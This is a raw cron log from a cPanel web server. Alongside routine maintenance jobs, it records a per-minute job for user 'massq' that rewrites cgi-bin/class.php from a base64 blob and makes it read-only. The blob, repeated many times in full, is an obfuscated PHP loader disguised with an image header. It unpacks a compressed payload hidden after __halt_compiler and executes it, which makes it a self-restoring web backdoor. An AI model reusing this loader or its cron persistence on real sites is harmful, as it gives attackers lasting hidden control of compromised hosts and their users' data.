Sep  8 22:40:01 server CROND[9288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:40:01 server CROND[9292]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:40:01 server CROND[9290]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 22:40:01 server CROND[9293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:40:01 server CROND[9289]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 22:41:01 server CROND[10172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:41:01 server CROND[10174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:41:01 server CROND[10173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:42:01 server CROND[10625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:42:01 server CROND[10624]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 22:42:01 server CROND[10626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:42:01 server CROND[10627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:43:01 server CROND[11106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:43:01 server CROND[11107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:43:01 server CROND[11108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:44:01 server CROND[11491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:44:01 server CROND[11492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:44:01 server CROND[11493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:45:01 server CROND[11877]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 22:45:01 server CROND[11878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:45:01 server CROND[11880]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:45:01 server CROND[11894]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 22:45:01 server CROND[11898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:45:01 server CROND[11896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:45:01 server CROND[11895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:46:01 server CROND[12748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:46:01 server CROND[12749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:46:01 server CROND[12750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:47:01 server CROND[13142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:47:01 server CROND[13143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:47:01 server CROND[13144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:48:01 server CROND[13530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:48:01 server CROND[13531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:48:01 server CROND[13532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:49:01 server CROND[13924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:49:01 server CROND[13925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:49:01 server CROND[13926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:50:01 server CROND[14433]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 22:50:01 server CROND[14435]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:50:01 server CROND[14442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:50:01 server CROND[14441]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 22:50:01 server CROND[14443]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:50:01 server CROND[14437]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 22:50:01 server CROND[14440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:50:01 server CROND[14439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:50:01 server CROND[14438]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 22:51:01 server CROND[15342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:51:01 server CROND[15343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:51:01 server CROND[15349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:52:01 server CROND[15725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:52:01 server CROND[15726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
